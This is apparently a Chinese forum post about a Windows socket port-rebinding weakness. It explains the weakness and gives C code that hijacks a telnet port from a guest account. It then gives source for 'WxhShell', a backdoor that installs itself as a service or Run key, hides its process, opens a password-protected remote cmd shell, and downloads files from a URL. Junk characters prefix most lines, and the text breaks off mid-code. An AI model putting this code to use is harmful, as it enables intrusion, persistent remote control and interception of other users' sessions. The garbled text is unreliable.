在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
=-p$jXVW% s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
# W"=ry3{ 37}D9:#5C saddr.sin_family = AF_INET;
w3$ b+Br=Fv"T saddr.sin_addr.s_addr = htonl(INADDR_ANY);
`p+Zz"/ ToYAW,U[d bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
^j7azn Yup3^E
w& 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
,0LU~AGe
T
Q,?>6n 这意味着什么?意味着可以进行如下的攻击:
4*$G & TX _YRE (YZ/ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
{T].]7Z GgKEP,O 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
)p*}e8L .1LCXW= 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
$8BPlqBIZ i~r l o^ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
z;y:9l 3po:xMY 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
IsR!'%Pu !W?gR.0$= 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
XC+A_"w) T1H"\+ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
fDSv?crv 0]4(:(B #include
bJD;>"* #include
ge8/``= #include
63A}TBC #include
}u1O#L}F5 DWORD WINAPI ClientThread(LPVOID lpParam);
Vx-7\NB int main()
=G]@+e {
Dih3}X&jn$ WORD wVersionRequested;
{AQ=<RDRF DWORD ret;
#Qkroji
qw WSADATA wsaData;
fum0>tff BOOL val;
Tgl} SOCKADDR_IN saddr;
A<ynIs< SOCKADDR_IN scaddr;
G$sA`<< int err;
P~ &$l2 SOCKET s;
rXHv`ky SOCKET sc;
[<KM?\"1< int caddsize;
yDGVrc' HANDLE mt;
GAAm0; DWORD tid;
{^N[("` wVersionRequested = MAKEWORD( 2, 2 );
P67o{EdK err = WSAStartup( wVersionRequested, &wsaData );
5scEc,JCi if ( err != 0 ) {
AoyX\iqQ printf("error!WSAStartup failed!\n");
*oybD=%4 return -1;
Qa.uMq }
&y#r;L<9 saddr.sin_family = AF_INET;
VJS8)oI~ +$Rt+S BD //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
)(@Hd 7hcNf, saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
/Ju;MeE9 saddr.sin_port = htons(23);
zL J/5& if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1m .W< {
3g6j?yYqb printf("error!socket failed!\n");
()H:Uv M=t return -1;
=lpQnj" }
,\@O(;
mF val = TRUE;
c;'[W60 //SO_REUSEADDR选项就是可以实现端口重绑定的
Y3=_ec3w if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
<wAFy>7 {
QNl'ZB\ printf("error!setsockopt failed!\n");
z0do;_x]E return -1;
m1*O0Tg]" }
}m-FGk //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
^7Fh{q4IE //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
5+wAzVA //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
|ely|U. Tf vEn4L0D if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
M4W5f#C5Ee {
Rx+p. ret=GetLastError();
c}0@2Vf printf("error!bind failed!\n");
,f&5pw
= return -1;
[2Ud]l:6E }
;{[.Zu listen(s,2);
y.Z?LCd< while(1)
} GiHjzsR {
42qYg(tZ caddsize = sizeof(scaddr);
'R:"5d //接受连接请求
NG6& :4! sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
.AU)*7Gh if(sc!=INVALID_SOCKET)
pf7it5 {
[#sz WNfU mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
L~KM=[cn if(mt==NULL)
d0,s"K7@ {
fX|Y;S-@+ printf("Thread Creat Failed!\n");
_hk.2FV:3m break;
Tq4-wE+ }
W='>:H }
U,.![TP CloseHandle(mt);
z+>}RT] }
WH\))y- closesocket(s);
::/j$bL WSACleanup();
9U%N@Dq`Z return 0;
0MdDXG-7 }
YGsWu7dG DWORD WINAPI ClientThread(LPVOID lpParam)
d09k5$=gJ {
cx0*X* SOCKET ss = (SOCKET)lpParam;
BGu?<bET SOCKET sc;
h?azFA~ unsigned char buf[4096];
AoI/n4T^ SOCKADDR_IN saddr;
xoR;=ph long num;
bv*,#Qm DWORD val;
aVd,xl DWORD ret;
:]1TGfS //如果是隐藏端口应用的话,可以在此处加一些判断
2Roc|)-47 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Kp,M"Y saddr.sin_family = AF_INET;
-Zz$~$ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
P->y_4O saddr.sin_port = htons(23);
^R@j=_8} if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Jtk|w[4L {
aX }P|l printf("error!socket failed!\n");
GF^071]G return -1;
6}oXP_0U }
,9o"43D:a| val = 100;
dB5b@9* if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
>#y^;/bb {
bAm(8nT7w ret = GetLastError();
EB8\_]6XJ return -1;
1[vi. }
oTuOw|[ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
.?Gd'Lp {
jav#f{' ret = GetLastError();
1wP- return -1;
#"5 Dk#@ }
aqc?pqM
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
v3jg~"! {
n= u&uqA* printf("error!socket connect failed!\n");
&sL&\+=<( closesocket(sc);
?28N ^ closesocket(ss);
r|qp3x return -1;
*^wm1|5 }
IDG}ZlG while(1)
\9g+^vQg {
*NCl fkZ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
9& 83n(m //如果是嗅探内容的话,可以再此处进行内容分析和记录
GJqJlgHe //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
\0f{S40 num = recv(ss,buf,4096,0);
W0]gLw9* if(num>0)
5qP:/*+ send(sc,buf,num,0);
ZXuv CI else if(num==0)
%GS(:]{n break;
#: [<iSk num = recv(sc,buf,4096,0);
Ch3jxgQY if(num>0)
U b* wuI send(ss,buf,num,0);
uPl\I6k else if(num==0)
`p;I} break;
9Q+'n$s0^ }
la+[bm<v closesocket(ss);
SrK) t.oK closesocket(sc);
8{X"h# return 0 ;
3^6
d]f }
9B7^lR SV~~Q_U9 PJL=$gBgKk ==========================================================
Rw:*'1 HEM9E&rL 下边附上一个代码,,WXhSHELL
ssN6M./6 ktpaU,% ==========================================================
6'Worj E}nH1 #include "stdafx.h"
^*Yh@4\{JH ^kB8F"X #include <stdio.h>
$H9%J #include <string.h>
J:zU,IIJ #include <windows.h>
P IwFF}<( #include <winsock2.h>
Y*vW!yu #include <winsvc.h>
f__cn^1 #include <urlmon.h>
d!
LE{ De(Hw&
IV #pragma comment (lib, "Ws2_32.lib")
~,B5Hc 2 #pragma comment (lib, "urlmon.lib")
K$E3QVa ZGKu>yM #define MAX_USER 100 // 最大客户端连接数
uW}s)j. #define BUF_SOCK 200 // sock buffer
!*%WuyCgr4 #define KEY_BUFF 255 // 输入 buffer
ZP\-T*)l$ /VN f{p #define REBOOT 0 // 重启
]33>m|?@ #define SHUTDOWN 1 // 关机
^>hW y D lUvpszH= #define DEF_PORT 5000 // 监听端口
)j0TeE1R In<n&ib #define REG_LEN 16 // 注册表键长度
@8ppEFw #define SVC_LEN 80 // NT服务名长度
`6]%P(#a 5MtLT#C3r // 从dll定义API
n' q4 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
S9~+c typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
&b%zQ4%d-` typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
PC-"gi=h typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
+2&@x=xy a+Kj1ix // wxhshell配置信息
N%*5 T[. struct WSCFG {
j+uLV{~g6 int ws_port; // 监听端口
P<a)25be/ char ws_passstr[REG_LEN]; // 口令
jT]0WS-b int ws_autoins; // 安装标记, 1=yes 0=no
A"G
1^8wvX char ws_regname[REG_LEN]; // 注册表键名
^Uf]Q$uCjE char ws_svcname[REG_LEN]; // 服务名
G'ei/Me6{ char ws_svcdisp[SVC_LEN]; // 服务显示名
xk5@d6Y{r char ws_svcdesc[SVC_LEN]; // 服务描述信息
+>{Y.`a;Jo char ws_passmsg[SVC_LEN]; // 密码输入提示信息
pw)||Q int ws_downexe; // 下载执行标记, 1=yes 0=no
a@UZb char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
,l:ORoND char ws_filenam[SVC_LEN]; // 下载后保存的文件名
t7j);W%e6 +oovx2r& };
~^r29'3 =06gj)8 // default Wxhshell configuration
UVd 7 JGR struct WSCFG wscfg={DEF_PORT,
U<_3^ "xuhuanlingzhe",
=pS5uR~ 1,
fj;y}t1E] "Wxhshell",
n O\"HLM "Wxhshell",
0dGAP
"WxhShell Service",
e'~J,(fB "Wrsky Windows CmdShell Service",
uP~@U" ! "Please Input Your Password: ",
(2^gVz=j 1,
2[O&NdP\Zk "
http://www.wrsky.com/wxhshell.exe",
/2=#t-p+ "Wxhshell.exe"
{pnS Q };
3@M|m<_R$ { +
Zd*)M[ // 消息定义模块
hp 5|@ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
'+?"iVVo char *msg_ws_prompt="\n\r? for help\n\r#>";
ZK@N5/H( char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
j/f?"VEr char *msg_ws_ext="\n\rExit.";
[d1mLJAR char *msg_ws_end="\n\rQuit.";
&h^9}>rVjV char *msg_ws_boot="\n\rReboot...";
"NXB$a!: char *msg_ws_poff="\n\rShutdown...";
IDB+%xl#S char *msg_ws_down="\n\rSave to ";
~,oMz<iMV l0PZ`m+;j char *msg_ws_err="\n\rErr!";
m
g4nrr\ char *msg_ws_ok="\n\rOK!";
r0+6evU2 ToXki, char ExeFile[MAX_PATH];
$Bs {u=+w int nUser = 0;
v*SEb~[ HANDLE handles[MAX_USER];
+'I+o5* int OsIsNt;
3L_\`Ia9 jY%na
HaI SERVICE_STATUS serviceStatus;
U |Jo{(Y SERVICE_STATUS_HANDLE hServiceStatusHandle;
ZjQ
|Wx s'E2P[: // 函数声明
1DE<rKI int Install(void);
2.l Z:VLN int Uninstall(void);
^Eb.:}!D6 int DownloadFile(char *sURL, SOCKET wsh);
O4cr*MCb5 int Boot(int flag);
d4>Z8FF|1B void HideProc(void);
Ay5i+)MD int GetOsVer(void);
19Mu61 int Wxhshell(SOCKET wsl);
ER5gmmVP@p void TalkWithClient(void *cs);
QLEKsX7p> int CmdShell(SOCKET sock);
ktFhc3);! int StartFromService(void);
k@f g(}6 int StartWxhshell(LPSTR lpCmdLine);
qln3 k` p?);eJtV/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
beRVD>T VOID WINAPI NTServiceHandler( DWORD fdwControl );
D#il* /H(?
2IHC // 数据结构和表定义
cDFO; Dr SERVICE_TABLE_ENTRY DispatchTable[] =
%)|9E>fP]N {
bF"G[pD {wscfg.ws_svcname, NTServiceMain},
Crho=RJPR {NULL, NULL}
%|g>%D3Z? };
TDFkxB> #h8Sq~0 // 自我安装
zF8dKFE~ int Install(void)
:Q $K<)[ {
7VqM$I char svExeFile[MAX_PATH];
gX]-\ HKEY key;
njScz"L~ strcpy(svExeFile,ExeFile);
Q<^Tl(`/N? nrxo&9[@n // 如果是win9x系统,修改注册表设为自启动
0=* 8
if(!OsIsNt) {
Ma.`A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[E!oQVY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
aE&,]'6 RegCloseKey(key);
\?0&0;5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Tx|Ir+f6L RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
E.7 RegCloseKey(key);
e;Ti&o} return 0;
6y+Kjd/D }
7\$qFF-y }
6r"eN%m }
rz wF~-m + else {
DcoX+8 7 hxVKV?Fl // 如果是NT以上系统,安装为系统服务
s%C)t6`9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
B_nVP if (schSCManager!=0)
TcjEcMw, {
Hfwq/Is SC_HANDLE schService = CreateService
.S(TxksCz (
cZB7fmq% schSCManager,
T>}5:,N~ wscfg.ws_svcname,
L+Xc-uv["p wscfg.ws_svcdisp,
*1p|5!4c SERVICE_ALL_ACCESS,
5R@ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
\6E|pbJ}x SERVICE_AUTO_START,
!sDh4jQ` SERVICE_ERROR_NORMAL,
^?0DP>XA svExeFile,
%{AO+u2i NULL,
01r 8$+ NULL,
8$85^Of NULL,
k2c}3 MeP NULL,
6x h:/j3 NULL
xy5lE+E_U );
,&jhlZ i if (schService!=0)
a`&f {
{ /K.3 CloseServiceHandle(schService);
0E,8R{e CloseServiceHandle(schSCManager);
0fF(Z0R, strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Pz>s6 [ob strcat(svExeFile,wscfg.ws_svcname);
!c}O5TI|# if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
r=5{o1" RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
PD&\LbuG RegCloseKey(key);
u<3HQ.:; return 0;
OMWbZ>jB }
U1DXeh~V }
lD^]\;? CloseServiceHandle(schSCManager);
=yr0bGy`- }
y4*U6+ #. }
A'q#I>j` &Q;sSIc return 1;
co~Pyj }
<j&DK2u=i p2n0Z\2 // 自我卸载
,TXTS*V? int Uninstall(void)
W3IpHV {
C ~<'rO}| HKEY key;
c(:f\Wc3Z @ zs'Y8 if(!OsIsNt) {
^T ?RK"p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
U]^HjfX\ RegDeleteValue(key,wscfg.ws_regname);
8TGOx%}i RegCloseKey(key);
DF1I[b=] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
SH_(rQby RegDeleteValue(key,wscfg.ws_regname);
$}J5xG,}$ RegCloseKey(key);
}Mf!-g return 0;
BGOuDKz9C }
v1BDP<qU2 }
jT8#C=a7 }
e\Y*F else {
mz@T 3Mxp)uG/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
]Y2RqXA* if (schSCManager!=0)
/4a._@1h[y {
(8Bk;bd SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
q#vQv5 if (schService!=0)
RA KFU {
d]:I(9K if(DeleteService(schService)!=0) {
w8kOVN2b CloseServiceHandle(schService);
-R57@D>j\ CloseServiceHandle(schSCManager);
Fy`(BF\ return 0;
q;<h[b? }
~i~7na| CloseServiceHandle(schService);
:uWw8` }
v}1QH CloseServiceHandle(schSCManager);
]8Q4BW }
k 8UO9r[ }
1u:
gFUb 6^]!gR#B return 1;
txiP!+3OWB }
zaah^.MA| MYla OT // 从指定url下载文件
^Wc@oa` int DownloadFile(char *sURL, SOCKET wsh)
0Uo\wyd {
?Cl%{2omO HRESULT hr;
)3~{L;q char seps[]= "/";
k\WR ] char *token;
zUKmx y@ char *file;
G'6@+$ppS char myURL[MAX_PATH];
Qp/QaVQ+ char myFILE[MAX_PATH];
Tav*+ H*[M\gN$ strcpy(myURL,sURL);
X:6c}p%,! token=strtok(myURL,seps);
&?q/1vLa while(token!=NULL)
*MJX? {
_59huC. file=token;
g=QDu7Ux token=strtok(NULL,seps);
c|M6<} }
UD8op]>L xZ6~Ma2z GetCurrentDirectory(MAX_PATH,myFILE);
vH#huZA?7 strcat(myFILE, "\\");
W7U2MqQ strcat(myFILE, file);
#=6E\&NC send(wsh,myFILE,strlen(myFILE),0);
W}5xmz send(wsh,"...",3,0);
kL$!E9 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
B?4boF?~ if(hr==S_OK)
xL{a return 0;
>N]7IU[- else
yp$_/p O=2 return 1;
x n5l0'2 /Y'Vh^9/T }
AQ_|: 73xAG1D$r // 系统电源模块
+tVaBhd! int Boot(int flag)
So0f)`A {
kdl:Wt*4o HANDLE hToken;
SzjkI+-$: TOKEN_PRIVILEGES tkp;
p4'G$]# %@.v2 cT if(OsIsNt) {
kg'o&^/= OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
{vuZ{IJa LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
KU8Jbl*
tkp.PrivilegeCount = 1;
E=>FjCsu<- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
&Rvm>TC= AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
1XD,uoxB
if(flag==REBOOT) {
*g6n if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
qWODs return 0;
Z@3i$8 }
ynE)Xdh else {
kP-3"ACG if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
ly:q6i return 0;
n2oz"<?$S }
K2J\awX }
zxC#0@qX07 else {
K#pNec if(flag==REBOOT) {
\=6l9Lrj>h if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
&ge "x{,? return 0;
4scNSeW }
i[?Vin else {
i(>4wK!! if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
;*:Pw?' return 0;
R'C2o] }
prTw'~(B }
FLGk?.x$\ fpFhn return 1;
R)mu2^ }
[uI|DUlI6o Bh;7C@dq // win9x进程隐藏模块
@JyK|.b#0 void HideProc(void)
vSi.txV2 {
Q0&H#xgt cVv;Jn HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
p$PKa.Y3 if ( hKernel != NULL )
X)7x<?DAy {
0l-Ef1 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
{\c(ls{ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
J2'Nd' FreeLibrary(hKernel);
?XA2& }
Z yE `/J' DV<` K$ET return;
cd$m25CxC }
*a #rM"6P $`)/0{qY- // 获取操作系统版本
ug+io mZ int GetOsVer(void)
TWQG591 {
f!!V${)X OSVERSIONINFO winfo;
X@K-^8 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
P!+'1KR GetVersionEx(&winfo);
cm&I* 0\ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
J6L K return 1;
DX"xy else
G0^2Wk[ return 0;
6WU(% }
SVO 3821 *Df,Ijh $ // 客户端句柄模块
\E%'Y int Wxhshell(SOCKET wsl)
E
,|xJjh {
)6|yb65ZUX SOCKET wsh;
rL+!tH struct sockaddr_in client;
Aq0S-HKF DWORD myID;
>rJnayLF S$Q8>u6Wk while(nUser<MAX_USER)
v?&
-xH-S {
763v int nSize=sizeof(client);
kH]yl
2 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
fO0XA"= if(wsh==INVALID_SOCKET) return 1;
+eFFSt y5do1Z handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
-Xxqm%([71 if(handles[nUser]==0)
pXJpK@z closesocket(wsh);
n#wI@W>%+ else
.zn;:M#T nUser++;
G-?d3n
}
DjN|Wr)* WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
;K!]4tfJ X_$Cb<e return 0;
+YqZ(( }
G|(
]bvJ? j}~86JO+Cw // 关闭 socket
$+>M{fg? void CloseIt(SOCKET wsh)
WC.t_"@ {
kX>f^U{j closesocket(wsh);
Y0_),OaY nUser--;
)FpZPdN+h ExitThread(0);
V{^!BBQ
}
jC7&s$>Q"g IFDZfx // 客户端请求句柄
'+$EhFwD void TalkWithClient(void *cs)
}lfnnK# {
dVsE^jsL rfNm&!K SOCKET wsh=(SOCKET)cs;
:j]vf8ec char pwd[SVC_LEN];
l&?}hq^'Dn char cmd[KEY_BUFF];
[$ejp>'Ud char chr[1];
|b|&XB_<]Z int i,j;
{3.r6ZwCn OU/MiyP2 while (nUser < MAX_USER) {
>]W)'lnO > 3&: 5 if(wscfg.ws_passstr) {
"87ghj_} if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
2U; t(,dn' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
m<0&~rg //ZeroMemory(pwd,KEY_BUFF);
qU#BJON]BR i=0;
3AsT while(i<SVC_LEN) {
z&{5;A}Q@ gMaN)ESqd4 // 设置超时
U5He? fd_set FdRead;
^d~1E Er struct timeval TimeOut;
Pri`K/ FD_ZERO(&FdRead);
4Rvf FD_SET(wsh,&FdRead);
#@"<:!?z TimeOut.tv_sec=8;
AKRTBjG"
TimeOut.tv_usec=0;
e(I=^#u6 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
CC@.MA@9N if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
?_Q/}@` &9"-`-[e: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
}b0; 0j pwd
=chr[0]; kn>$lTHQ
if(chr[0]==0xd || chr[0]==0xa) {
8`fjF/
pwd=0; $`-4Ax4%
break; =Q[b'*o7
} Nqrmp" ]
i++; 1f8GW
} hWT[L.>k
^1L>l9F
// 如果是非法用户,关闭 socket ])Qs {hs~s
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |"9 #bU
} i}o[- S4
7g(F#T?;'
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o4zM)\;F
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H)>;/#!r-
sH?/E6
while(1) { FN%m0"/Z{t
>B2q+tA
ZeroMemory(cmd,KEY_BUFF); CJXg@\\/
2w-51tqm
// 自动支持客户端 telnet标准 TW9WMId
j=0; 'I /aboDB
while(j<KEY_BUFF) {
stk9Ah
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y;AL'vm9
cmd[j]=chr[0]; gF5a5T,
if(chr[0]==0xa || chr[0]==0xd) { yNqe8C,>e
cmd[j]=0; CBD6b l|A
break; zBJ7(zh!
} d R]Q$CJ
j++; o`q_wdy?
} YcN!T"wJ@
C,pJ`:P
// 下载文件 K
a(J52
if(strstr(cmd,"http://")) { #~.w&~:
send(wsh,msg_ws_down,strlen(msg_ws_down),0); !Wy[).ZAf
if(DownloadFile(cmd,wsh)) O=dJi9;`#_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A6pjRxg
else y:vxE8$Q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DANw1_X\
} (<Th=Fns?
else { jvV9eA:zl
zKsz*xv6b
switch(cmd[0]) { v!FMs<
-~QHqU.
// 帮助 8-Hsgf.*
case '?': { )"m!YuS Y
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l$jxLZ
break; m~D&gGFt
} ?&^?-S% p
// 安装 $8'O
case 'i': { zBP>jM(8
if(Install()) "luR9l,RRE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); QlHd,w
else 6"D/xV3Z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zb134b'
break; jOyvDY9\
} j$TwL;
// 卸载 ]d]JXt?)i
case 'r': { UEzb^(8>
if(Uninstall()) ,E$@=1)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yx<WSgWZ[
else Qo1eXMW
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vYU;_R
break; VT.;:Q
} TcGoSj<Z
// 显示 wxhshell 所在路径 s9>(Jzcf9
case 'p': { 2*w:tT8+X
char svExeFile[MAX_PATH]; I6s3+x;O
strcpy(svExeFile,"\n\r"); |/|
strcat(svExeFile,ExeFile); `WOYoec
send(wsh,svExeFile,strlen(svExeFile),0); yj$TPe_BW
break; )#}mH @
} KPpHwcYxT
// 重启 G5,~Z&}YS
case 'b': { )|I5j];L
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z-B%'/.
if(Boot(REBOOT)) v*qQ? S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <uc1D/~^:
else { 2EK%N'H
closesocket(wsh); $
A9%UhV
ExitThread(0); f(eQ+0D
} pMJ1v
break; {h KjD"?
} ?9X&tK)E-
// 关机 ne>g?"Pex{
case 'd': { LjH*rjS4
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i"j(b|?e
if(Boot(SHUTDOWN)) wM_
6{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Fpb-Qd"
else { -.|4Y#b:&
closesocket(wsh); \Fe_rh
ExitThread(0); :Yj)CGl$
} \i[BP
break; \bx~*FaX
} 3 s>'hn
// 获取shell wfjc/u9W6R
case 's': { }BmS)Jq
CmdShell(wsh); q,2]5'
closesocket(wsh); .Xdj(_&
ExitThread(0); 5eA8niq#
break; u<n`x6gL
} Do]*JO)(
// 退出 fN
"tA
case 'x': { P &)1Rka
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -OYDe@Wb]
CloseIt(wsh); =5sF"L;b
break; %G@5!|J
} 6st^4S5
// 离开 $^tv45
case 'q': { vwr74A.g0
send(wsh,msg_ws_end,strlen(msg_ws_end),0); {@u<3 s
closesocket(wsh); {R^'=(YFy
WSACleanup(); sgr=w+",Q
exit(1); %ObD2)s6:^
break; !4rPv\
} RA jkH`
} ~=Ncp9ej#
} rz(0:vxwA
F#{gfh
// 提示信息 (Bo bB]~a
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;p ]y)3
} w&BGJYI
} E&B{5/rv
8)VgS&B~
return; c[ht`!P
} 3g~^LZ66
$iM=4
3W
// shell模块句柄 K"2|[ 5
int CmdShell(SOCKET sock) Uw<&Wm`'
{ G]Jz"xH#
STARTUPINFO si; >x[`;O4
ZeroMemory(&si,sizeof(si)); w G8Wez%
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @S 6u9v
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D^Ys)- d
PROCESS_INFORMATION ProcessInfo; I|/'Ds:
char cmdline[]="cmd"; @+_&Y]
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y)F!c29
return 0;
= c~I
.
} gNx+>h`AF
uvA(Rn
// 自身启动模式 nVD Xj
int StartFromService(void) Yn9j-`
{ A.Bk/N1G
typedef struct Iwpbf Z
{ Qeb}!k2A
DWORD ExitStatus; xiyxrR;
